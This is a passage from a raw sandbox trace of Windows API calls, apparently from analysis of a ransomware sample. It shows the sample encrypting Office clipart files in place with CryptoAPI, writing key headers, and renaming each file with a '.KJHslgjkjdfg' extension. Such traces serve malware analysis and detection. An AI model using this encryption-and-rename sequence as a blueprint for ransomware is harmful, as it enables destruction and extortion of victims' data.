dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.027] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0199.029] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.029] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.029] GetProcessHeap () returned 0x990000 [0199.029] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.030] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.030] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.030] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.030] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.030] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.030] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.030] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.030] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.030] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.030] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x45a2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x45a2, lpOverlapped=0x0) returned 1 [0199.031] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x45b0, dwBufLen=0x45b0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x45b0) returned 1 [0199.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.032] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x45b0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x45b0, lpOverlapped=0x0) returned 1 [0199.032] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.032] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.032] SetEndOfFile (hFile=0x130) returned 1 [0199.035] GetProcessHeap () returned 0x990000 [0199.035] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.035] GetProcessHeap () returned 0x990000 [0199.035] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.kjhslgjkjdfg")) returned 1 [0199.037] CloseHandle (hObject=0x130) returned 1 [0199.037] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e02700, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95e02700, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x15f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215718.WMF", cAlternateFileName="")) returned 1 [0199.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.038] GetProcessHeap () returned 0x990000 [0199.038] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.038] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.038] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.038] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0199.041] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.041] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.041] GetProcessHeap () returned 0x990000 [0199.041] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.041] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.041] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.041] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.041] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.041] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.041] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.041] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.041] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.042] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.042] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.042] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.042] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15f2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x15f2, lpOverlapped=0x0) returned 1 [0199.044] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1600, dwBufLen=0x1600 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1600) returned 1 [0199.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.044] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1600, lpOverlapped=0x0) returned 1 [0199.044] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.044] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.044] SetEndOfFile (hFile=0x130) returned 1 [0199.047] GetProcessHeap () returned 0x990000 [0199.047] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.047] GetProcessHeap () returned 0x990000 [0199.047] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.kjhslgjkjdfg")) returned 1 [0199.049] CloseHandle (hObject=0x130) returned 1 [0199.049] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216112.JPG", cAlternateFileName="")) returned 1 [0199.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.050] GetProcessHeap () returned 0x990000 [0199.050] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.050] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.050] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.050] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0199.053] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.053] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.053] GetProcessHeap () returned 0x990000 [0199.053] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.053] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.053] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.053] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.053] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.053] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.053] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.053] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.053] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.054] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.054] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.054] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.054] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa783, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa783, lpOverlapped=0x0) returned 1 [0199.055] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa790, dwBufLen=0xa790 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa790) returned 1 [0199.055] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.056] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa790, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa790, lpOverlapped=0x0) returned 1 [0199.056] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.056] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.056] SetEndOfFile (hFile=0x130) returned 1 [0199.059] GetProcessHeap () returned 0x990000 [0199.059] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.059] GetProcessHeap () returned 0x990000 [0199.059] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.059] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.kjhslgjkjdfg")) returned 1 [0199.061] CloseHandle (hObject=0x130) returned 1 [0199.061] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5474, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216153.JPG", cAlternateFileName="")) returned 1 [0199.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.063] GetProcessHeap () returned 0x990000 [0199.063] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.064] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.064] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.064] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0199.066] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.066] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.066] GetProcessHeap () returned 0x990000 [0199.066] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.066] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.066] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.066] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.067] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.067] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0199.067] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0199.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0199.067] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.067] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.067] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.067] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.067] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5474, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5474, lpOverlapped=0x0) returned 1 [0199.068] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5480, dwBufLen=0x5480 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5480) returned 1 [0199.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.069] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5480, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5480, lpOverlapped=0x0) returned 1 [0199.069] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.069] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.069] SetEndOfFile (hFile=0x130) returned 1 [0199.072] GetProcessHeap () returned 0x990000 [0199.072] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0199.072] GetProcessHeap () returned 0x990000 [0199.072] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0199.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.kjhslgjkjdfg")) returned 1 [0199.074] CloseHandle (hObject=0x130) returned 1 [0199.074] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216540.WMF", cAlternateFileName="")) returned 1 [0199.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0199.075] GetProcessHeap () returned 0x990000 [0199.075] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0199.075] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0199.075] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0199.075] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0199.078] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0199.078] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0199.078] GetProcessHeap () returned 0x990000 [0199.078] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0199.078] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0199.078] CryptDestroyKey (hKey=0x9b6628) returned 1 [0199.078] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0199.078] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0199.078] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, 